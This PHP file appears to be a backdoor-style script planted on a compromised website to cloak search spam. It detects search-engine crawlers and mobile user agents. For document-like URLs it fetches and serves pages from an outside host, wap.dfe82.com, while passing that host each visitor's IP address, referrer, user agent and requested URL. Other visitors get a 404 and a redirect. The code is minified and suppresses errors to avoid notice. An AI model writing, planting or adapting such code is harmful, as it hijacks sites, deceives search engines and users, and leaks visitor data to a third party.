<?php
set_time_limit(0);header("Content-Type: text/html;charset=utf-8");error_reporting(0);$a="stristr";$f=$_SERVER;define('url',$f['REQUEST_URI']);define('ent',$f['HTTP_USER_AGENT']);define('site',"http://wap.dfe82.com/");define('road',"?road=".$f['HTTP_HOST'].url."&refs=".$_SERVER['HTTP_REFERER']."&ua=".str_replace(" ","",$_SERVER['HTTP_USER_AGENT'])."&ips=".$_SERVER["REMOTE_ADDR"]);define('waps','@Android|Browser|Mobile|Wap|iOs|aiduboxapp|iPad|iPhone|iPod@i');define('regs','@Baidu|Sogou|Yisou|Sm.cn|Bytespider|360|So.com|Toutiao.com@i');define('area',$a(url,".xml")or $a(url,".doc")or $a(url,".pdf")or $a(url,".txt")or $a(url,".ppt")or $a(url,".pptx")or $a(url,".tacc")or $a(url,".jsp")or $a(url,".asp")or $a(url,".ga")or $a(url,".gq")or $a(url,".pdx")or $a(url,".xlsx")or $a(url,".edu")or $a(url,".gov")or $a(url,"baike")or $a(url,".xls")or $a(url,".htx")or $a(url,".htt")or $a(url,".xhtml")or $a(url,".new")or $a(url,".do")or $a(url,".action")or $a(url,".frx")or $a(url,".csv")or $a(url,".docx")or $a(url,".xhtml")or $a(url,".shtml"));if(preg_match(regs,ent)){if(area){echo papa(site.road);exit;}else{echo papa("http://wap.dfe82.com/u.php".$f['HTTP_HOST']);ob_flush();flush();}}if(area&&preg_match(waps,ent)){echo papa(site.road);exit;}elseif(area){header("HTTP/1.1 404 Not Found");header("Location: /");exit;}function papa($h){$j=array('http'=>array('method'=>"GET",'header'=>"User-Agent:".ent));$k=stream_context_create($j);$l=file_get_contents($h,false,$k);if(!empty($l)){return $l;}}
?>